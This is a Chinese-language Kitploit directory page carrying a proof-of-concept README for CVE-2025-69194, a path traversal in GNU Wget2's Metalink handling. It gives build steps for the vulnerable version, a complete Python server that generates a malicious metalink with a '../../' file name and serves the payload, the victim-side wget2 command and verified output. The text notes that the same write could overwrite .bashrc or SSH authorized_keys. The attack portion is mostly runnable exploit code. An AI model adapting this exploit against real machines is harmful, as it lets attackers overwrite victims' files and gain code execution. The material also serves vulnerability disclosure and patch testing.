Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC_CVE-2025-69194 — CVE-2025-69194 的概念验证,这是 GNU Wget2 <= 2.2.0 中的路径遍历漏洞。此漏洞允许攻击者通过提供带有恶意文件名称属性的恶意 Metalink 文件,在受害者文件系统上实现任意文件写入或覆盖。 | Kitploit
工具/GitHubGitHub/secdongle/poc_cve-2025-69194
Payload生成漏洞分析漏洞利用Web安全渗透测试学习与教育
GitHubsecdongle/poc_cve-2025-69194

POC_CVE-2025-69194

CVE-2025-69194 的概念验证,这是 GNU Wget2 <= 2.2.0 中的路径遍历漏洞。此漏洞允许攻击者通过提供带有恶意文件名称属性的恶意 Metalink 文件,在受害者文件系统上实现任意文件写入或覆盖。

查看仓库
1138个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69194: GNU Wget2 路径遍历漏洞

📝 描述

CVE-2025-69194 的 PoC,这是一个影响 GNU Wget2 <= 2.2.0(已在 v1.99.1 上验证)的严重路径遍历漏洞。攻击者通过提供包含恶意 file name 属性的 Metalink 文件,可在受害者文件系统上实现任意文件写入或覆盖。

当 Wget2 使用 --force-metalink 选项处理 Metalink 文件时,未能正确清理目录遍历序列(例如 ../../)。若攻击者覆盖敏感系统文件(如 .bashrc、.ssh/authorized_keys)或系统二进制文件,可导致远程代码执行 (RCE)。


🛠️ 测试环境(Ubuntu 22.04)

为准确复现漏洞,我们从源码编译 Wget2 v1.99.1,确保易受攻击的 Metalink 模块活跃且未修补。

1. 安装依赖

root@kitploit:~
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
                     libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
                     libbrotli-dev autoconf automake libtool gettext pkg-config python3

2. 编译并安装 Wget2 v1.99.1

root@kitploit:~
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig

# 验证安装(需要 +metalink 支持)
wget2 --version | grep -E "1.99.1|metalink"


🚀 概念验证 (PoC)

1. 攻击者端(Python 漏洞利用服务器)

攻击者托管一个恶意的 .metalink 文件及对应的载荷。将以下内容保存为 poc.py:

root@kitploit:~
import os
import hashlib
import http.server
import socketserver
import threading
import time

# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt"  # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"


def create_files():
    # 1. 创建载荷文件
    with open(PAYLOAD_FILE, "w") as f:
        f.write(PAYLOAD_CONTENT)

    # 计算 SHA256
    sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
    file_size = len(PAYLOAD_CONTENT)

    # 2. 构造恶意的 Metalink 结构
    metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
  <files>
    <file name="{TARGET_FILE_NAME}">
      <size>{file_size}</size>
      <verification>
        <hash type="sha256">{sha256_hash}</hash>
      </verification>
      <resources>
        <url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
      </resources>
    </file>
  </files>
</metalink>
'''
    with open(METALINK_FILE, "w") as f:
        f.write(metalink_content)
    print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")


def start_server():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PORT), handler) as httpd:
        print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
        httpd.serve_forever()


if __name__ == "__main__":
    # 清理旧文件
    if os.path.exists(TARGET_FILE_NAME):
        os.remove(TARGET_FILE_NAME)

    create_files()

    # 启动后台服务器
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()

    time.sleep(1)  # 等待服务器就绪

    print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
    print(f"wget2 --force-metalink -i {METALINK_FILE}")
    print(f"\n[!] 执行后,检查目标文件是否存在:")
    print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")

    # 保持主线程运行
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[+] 演示结束,正在清理...")


2. 受害者端(触发漏洞)

在子目录(例如 ~/Downloads/CVE-2025-69194/)下执行以下命令,观察目录逃逸:

root@kitploit:~
# 预先检查:确认父目录的父目录中不存在该文件
ls ../../pwned_test.txt

# 执行漏洞利用
wget2 --force-metalink -i exploit.metalink


📊 技术分析

该漏洞存在于 Metalink 解析逻辑中,name 属性被信任且未经过规范化处理。

阶段说明
输入Wget2 读取 <file name="../../pwned_test.txt">。

📝 示例输出(已验证)

如下所示成功复现,文件 pwned_test.txt 在执行文件夹的上两级目录被创建:

root@kitploit:~
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory

lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'

lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194


版本 PoC 测试

⚠️ 免责声明

本工具仅供教育和授权安全测试目的使用。作者不对因滥用此信息造成的任何损害负责。未经授权访问计算机系统是被严格禁止的。

下载工具
绕过未检查路径是否包含 ../ 或试图离开当前工作目录。
写入Wget2 打开解析后的路径 CWD + ../../pwned_test.txt 并写入已验证的载荷。